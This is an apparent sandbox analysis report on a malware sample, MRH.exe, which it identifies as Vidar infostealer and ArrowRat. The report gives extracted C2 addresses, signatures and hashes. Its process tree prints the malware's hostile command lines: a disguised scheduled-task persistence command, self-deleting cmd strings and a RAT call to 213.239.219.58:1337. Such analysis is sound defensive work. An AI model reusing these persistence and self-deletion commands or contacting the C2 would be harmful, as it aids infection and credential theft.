Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

MRH.exe

windows7-x64

10

MRH.exe

windows10-2004-x64

10

Resubmissions

11/11/2022, 23:03

221111-216jyscc66 10

11/11/2022, 22:52

221111-2ttltacc22 10

Analysis

  • max time kernel
    300s
  • max time network
    304s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11/11/2022, 22:52

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    MRH.exe

  • Size

    1.9MB

  • MD5

    18585735c8866b21e2723a6f020bafd0

  • SHA1

    afb5b2c9d5ca57501835b0c56fd97b0641f01d88

  • SHA256

    e9c817d02acaf2fbb59a0a44be05dbb284ee622f50b2e2a598daac8bfb564672

  • SHA512

    88516af4bbbd9562a9ae9840124c6f9f1402f9a15a0ace5e2413023bbd80c37aa441cc39b8b48f8ca58f4192273e16cd590cd2e9e9a4298f6ed5b0497d54e6b8

  • SSDEEP

    49152:t82Cp8xP5AE/L4C0m9eKQr10XxpQQTf+4G7zsdtW:9E7eQqpIsG

Score
10/10
arrowratvidar1754clientdiscoverypersistenceratspywarestealer

Malware Config

Extracted

Family

vidar

Version

55.6

Botnet

1754

C2

https://t.me/seclab_new

https://github.com/smbfhrgc
Attributes
  • profile_id

    1754

Extracted

Family

arrowrat

Botnet

Client

C2

213.239.219.58:1337

Mutex

nPxRArUjc

Signatures

  • ArrowRat

    Remote access tool with various capabilities first seen in late 2021.

    ratarrowrat
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

    stealervidar
  • Downloads MZ/PE file
  • Executes dropped EXE 2 IoCs
  • Modifies Installed Components in the registry 2 TTPs 1 IoCs
    persistence
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 3 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Accesses 2FA software files, possible credential harvesting 2 TTPs
    spywarestealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 22 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Delays execution with timeout.exe 1 IoCs
    evasion
  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Modifies registry class 59 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 28 IoCs
  • Suspicious use of AdjustPrivilegeToken 29 IoCs
  • Suspicious use of FindShellTrayWindow 51 IoCs
  • Suspicious use of SendNotifyMessage 23 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs

Processes

  • C:\Windows\system32\taskhostw.exe
    taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
    1⤵
      PID:2464
      • C:\Users\Admin\AppData\Local\Temp\svchoste
        "C:\Users\Admin\AppData\Local\Temp\svchoste"
        2⤵
        • Executes dropped EXE
        • Checks computer location settings
        • Loads dropped DLL
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Checks processor information in registry
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:3536
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\svchoste" & exit
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1076
          • C:\Windows\SysWOW64\timeout.exe
            timeout /t 6
            4⤵
            • Delays execution with timeout.exe
            PID:2128
    • C:\Users\Admin\AppData\Local\Temp\MRH.exe
      "C:\Users\Admin\AppData\Local\Temp\MRH.exe"
      1⤵
      • Checks computer location settings
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4844
      • C:\Windows\SysWOW64\schtasks.exe
        "C:\Windows\system32\schtasks.exe" /create /tn COMSurrogate /f /sc onlogon /rl highest /tr "C:\Users\Admin\Yisike quoquola fika quaveb\Quoko tace wesa.exe"
        2⤵
        • Creates scheduled task(s)
        PID:804
      • C:\Users\Admin\Yisike quoquola fika quaveb\Quoko tace wesa.exe
        "C:\Users\Admin\Yisike quoquola fika quaveb\Quoko tace wesa.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:1004
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
          3⤵
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:4632
          • C:\Windows\explorer.exe
            "C:\Windows\explorer.exe"
            4⤵
            • Modifies Installed Components in the registry
            • Enumerates connected drives
            • Checks SCSI registry key(s)
            • Modifies registry class
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of SendNotifyMessage
            PID:1948
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 213.239.219.58 1337 nPxRArUjc
            4⤵
              PID:1060
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c chcp 65001 && ping 127.0.0.1 && DEL /F /S /Q /A "C:\Users\Admin\AppData\Local\Temp\MRH.exe"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4428
          • C:\Windows\SysWOW64\chcp.com
            chcp 65001
            3⤵
              PID:3748
            • C:\Windows\SysWOW64\PING.EXE
              ping 127.0.0.1
              3⤵
              • Runs ping.exe
              PID:2052
        • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
          "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
          1⤵
          • Modifies registry class
          • Suspicious use of SetWindowsHookEx
          PID:4284
        • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
          "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
          1⤵
          • Enumerates system info in registry
          • Modifies registry class
          • Suspicious use of SetWindowsHookEx
          PID:1384

        Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\ProgramData\mozglue.dll
          Filesize

          593KB

          MD5

          c8fd9be83bc728cc04beffafc2907fe9

          SHA1

          95ab9f701e0024cedfbd312bcfe4e726744c4f2e

          SHA256

          ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a

          SHA512

          fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040

          Download Submit

        • C:\ProgramData\nss3.dll
          Filesize

          2.0MB

          MD5

          1cc453cdf74f31e4d913ff9c10acdde2

          SHA1

          6e85eae544d6e965f15fa5c39700fa7202f3aafe

          SHA256

          ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5

          SHA512

          dd9ff4e06b00dc831439bab11c10e9b2ae864ea6e780d3835ea7468818f35439f352ef137da111efcdf2bb6465f6ca486719451bf6cf32c6a4420a56b1d64571

          Download Submit

        • C:\Users\Admin\AppData\Local\Temp\advapi32.exe
          Filesize

          316KB

          MD5

          f3842ab78d1121612935afb4425446b9

          SHA1

          9abd41807d106b82c1a2ee2558672b75bf2b9e13

          SHA256

          b907fbec5689961e11e5b56e33f6544abf57bbdc24af7f1e7b01e83c76992ba9

          SHA512

          254bc9a70fc65f71503b1ee1c307d4c11ccd39e4424c2827c1a1bf247a175e7248fdf4811f70c7e44f2ccda387e5752f69322d1aaf5a458f6dad26a18f579e51

          Download Submit

        • C:\Users\Admin\AppData\Local\Temp\svchoste
          Filesize

          382KB

          MD5

          3e68a0b08bf963d889f8ba04bfda9f89

          SHA1

          a762dec43d514b11fd2b01acf19b820a1e65a1ad

          SHA256

          4287d8fc2a015071dd83487a66488c32dfe36f77693a71c1c7c07fb1b3afad52

          SHA512

          bc31c7d0248a7a0149f936b3d985137ed1380dd70214bc5781d0a71c2d3a967455c8db18a2e118a2a8ed43a2c6ea6cd3491f7e1435e78def5ad723dd9dfe6367

          Download Submit

        • C:\Users\Admin\AppData\Local\Temp\svchoste
          Filesize

          382KB

          MD5

          3e68a0b08bf963d889f8ba04bfda9f89

          SHA1

          a762dec43d514b11fd2b01acf19b820a1e65a1ad

          SHA256

          4287d8fc2a015071dd83487a66488c32dfe36f77693a71c1c7c07fb1b3afad52

          SHA512

          bc31c7d0248a7a0149f936b3d985137ed1380dd70214bc5781d0a71c2d3a967455c8db18a2e118a2a8ed43a2c6ea6cd3491f7e1435e78def5ad723dd9dfe6367

          Download Submit

        • C:\Users\Admin\Yisike quoquola fika quaveb\Quoko tace wesa.exe
          Filesize

          801.9MB

          MD5

          52cba01aa6bc461bec376969eb13eeca

          SHA1

          c19c7a0f90f9685f3761797200645616c6ad2cba

          SHA256

          7cc3a5333334dc1d0dfb50f1e9dd946c25123b237eea5d04c4dfd28b1dff36c0

          SHA512

          a828fc8b1480c4c5ee7bc35e833c4a1a394581cbaa180fdbe2c63597c2d1fb80615c024d69afc16a21028cd249e203af906816d173a0794f6f4868294c5b3eb6

          Download Submit

        • C:\Users\Admin\Yisike quoquola fika quaveb\Quoko tace wesa.exe
          Filesize

          801.9MB

          MD5

          52cba01aa6bc461bec376969eb13eeca

          SHA1

          c19c7a0f90f9685f3761797200645616c6ad2cba

          SHA256

          7cc3a5333334dc1d0dfb50f1e9dd946c25123b237eea5d04c4dfd28b1dff36c0

          SHA512

          a828fc8b1480c4c5ee7bc35e833c4a1a394581cbaa180fdbe2c63597c2d1fb80615c024d69afc16a21028cd249e203af906816d173a0794f6f4868294c5b3eb6

          Download Submit

        • memory/1004-157-0x000000000FFC0000-0x00000000101AF000-memory.dmp

          Filesize

          1.9MB

          Download

        • memory/1004-153-0x000000000FFC0000-0x00000000101AF000-memory.dmp

          Filesize

          1.9MB

          Download

        • memory/1004-147-0x0000000002E5C000-0x0000000003751000-memory.dmp

          Filesize

          9.0MB

          Download

        • memory/1004-144-0x0000000002E5C000-0x0000000003751000-memory.dmp

          Filesize

          9.0MB

          Download

        • memory/1004-145-0x0000000003760000-0x0000000003927000-memory.dmp

          Filesize

          1.8MB

          Download

        • memory/1004-182-0x0000000003760000-0x0000000003927000-memory.dmp

          Filesize

          1.8MB

          Download

        • memory/1060-190-0x0000000005D90000-0x0000000005DF6000-memory.dmp

          Filesize

          408KB

          Download

        • memory/1060-191-0x0000000006060000-0x00000000060B0000-memory.dmp

          Filesize

          320KB

          Download

        • memory/1060-187-0x0000000000400000-0x0000000000418000-memory.dmp

          Filesize

          96KB

          Download

        • memory/1384-226-0x00000274A12C2000-0x00000274A12CD000-memory.dmp

          Filesize

          44KB

          Download

        • memory/1384-225-0x00000274A12C2000-0x00000274A12CD000-memory.dmp

          Filesize

          44KB

          Download

        • memory/1384-232-0x00000274A12E0000-0x00000274A12E3000-memory.dmp

          Filesize

          12KB

          Download

        • memory/1384-230-0x00000274A12E0000-0x00000274A12E3000-memory.dmp

          Filesize

          12KB

          Download

        • memory/1384-220-0x00000274A12C2000-0x00000274A12CD000-memory.dmp

          Filesize

          44KB

          Download

        • memory/1384-239-0x00000274A12E8000-0x00000274A12EC000-memory.dmp

          Filesize

          16KB

          Download

        • memory/1384-221-0x00000274A12C2000-0x00000274A12CD000-memory.dmp

          Filesize

          44KB

          Download

        • memory/1384-223-0x00000274A12C2000-0x00000274A12CD000-memory.dmp

          Filesize

          44KB

          Download

        • memory/1384-228-0x00000274A12C2000-0x00000274A12CD000-memory.dmp

          Filesize

          44KB

          Download

        • memory/1384-242-0x00000274A12EC000-0x00000274A12EF000-memory.dmp

          Filesize

          12KB

          Download

        • memory/1384-244-0x00000274A12EC000-0x00000274A12EF000-memory.dmp

          Filesize

          12KB

          Download

        • memory/1384-243-0x00000274A12EC000-0x00000274A12EF000-memory.dmp

          Filesize

          12KB

          Download

        • memory/1384-227-0x00000274A12C2000-0x00000274A12CD000-memory.dmp

          Filesize

          44KB

          Download

        • memory/1384-224-0x00000274A12C2000-0x00000274A12CD000-memory.dmp

          Filesize

          44KB

          Download

        • memory/1384-216-0x000002749F080000-0x000002749F088000-memory.dmp

          Filesize

          32KB

          Download

        • memory/1384-215-0x000002749E300000-0x000002749E400000-memory.dmp

          Filesize

          1024KB

          Download

        • memory/1384-233-0x00000274A12E0000-0x00000274A12E3000-memory.dmp

          Filesize

          12KB

          Download

        • memory/1384-231-0x00000274A12E0000-0x00000274A12E3000-memory.dmp

          Filesize

          12KB

          Download

        • memory/1384-238-0x00000274A12E8000-0x00000274A12EC000-memory.dmp

          Filesize

          16KB

          Download

        • memory/1384-222-0x00000274A12C2000-0x00000274A12CD000-memory.dmp

          Filesize

          44KB

          Download

        • memory/1384-217-0x00000274A12C2000-0x00000274A12CD000-memory.dmp

          Filesize

          44KB

          Download

        • memory/1384-236-0x00000274A12E8000-0x00000274A12EC000-memory.dmp

          Filesize

          16KB

          Download

        • memory/1384-237-0x00000274A12E8000-0x00000274A12EC000-memory.dmp

          Filesize

          16KB

          Download

        • memory/1384-214-0x00000274B44D0000-0x00000274B45D0000-memory.dmp

          Filesize

          1024KB

          Download

        • memory/1384-219-0x00000274A12C2000-0x00000274A12CD000-memory.dmp

          Filesize

          44KB

          Download

        • memory/1384-218-0x00000274A12C2000-0x00000274A12CD000-memory.dmp

          Filesize

          44KB

          Download

        • memory/1384-203-0x000002749F270000-0x000002749F290000-memory.dmp

          Filesize

          128KB

          Download

        • memory/1384-208-0x00000274A12CA000-0x00000274A12CE000-memory.dmp

          Filesize

          16KB

          Download

        • memory/1384-210-0x00000274A12CA000-0x00000274A12CE000-memory.dmp

          Filesize

          16KB

          Download

        • memory/1384-211-0x00000274A12CA000-0x00000274A12CE000-memory.dmp

          Filesize

          16KB

          Download

        • memory/1384-212-0x00000274A12CA000-0x00000274A12CE000-memory.dmp

          Filesize

          16KB

          Download

        • memory/1384-209-0x00000274A12CA000-0x00000274A12CE000-memory.dmp

          Filesize

          16KB

          Download

        • memory/3536-156-0x0000000000AE0000-0x0000000000B25000-memory.dmp

          Filesize

          276KB

          Download

        • memory/3536-195-0x0000000000AE0000-0x0000000000B25000-memory.dmp

          Filesize

          276KB

          Download

        • memory/3536-151-0x0000000000B40000-0x0000000000BFF000-memory.dmp

          Filesize

          764KB

          Download

        • memory/3536-194-0x0000000000B40000-0x0000000000BFF000-memory.dmp

          Filesize

          764KB

          Download

        • memory/3536-154-0x0000000000B40000-0x0000000000BFF000-memory.dmp

          Filesize

          764KB

          Download

        • memory/3536-152-0x0000000000B40000-0x0000000000BFF000-memory.dmp

          Filesize

          764KB

          Download

        • memory/3536-155-0x0000000000B40000-0x0000000000BFF000-memory.dmp

          Filesize

          764KB

          Download

        • memory/3536-158-0x0000000061E00000-0x0000000061EF3000-memory.dmp

          Filesize

          972KB

          Download

        • memory/4632-183-0x0000000005E60000-0x0000000006404000-memory.dmp

          Filesize

          5.6MB

          Download

        • memory/4632-177-0x0000000000400000-0x000000000042C000-memory.dmp

          Filesize

          176KB

          Download

        • memory/4632-181-0x0000000000400000-0x000000000042C000-memory.dmp

          Filesize

          176KB

          Download

        • memory/4632-184-0x00000000059A0000-0x0000000005A3C000-memory.dmp

          Filesize

          624KB

          Download

        • memory/4632-188-0x0000000005C80000-0x0000000005D12000-memory.dmp

          Filesize

          584KB

          Download

        • memory/4632-189-0x0000000005B50000-0x0000000005B5A000-memory.dmp

          Filesize

          40KB

          Download

        • memory/4844-132-0x000000000321F000-0x0000000003B14000-memory.dmp

          Filesize

          9.0MB

          Download

        • memory/4844-141-0x0000000003B2C000-0x0000000003CF3000-memory.dmp

          Filesize

          1.8MB

          Download

        • memory/4844-136-0x0000000003B2C000-0x0000000003CF3000-memory.dmp

          Filesize

          1.8MB

          Download

        • memory/4844-134-0x000000000321F000-0x0000000003B14000-memory.dmp

          Filesize

          9.0MB

          Download

        • memory/4844-133-0x0000000003B2C000-0x0000000003CF3000-memory.dmp

          Filesize

          1.8MB

          Download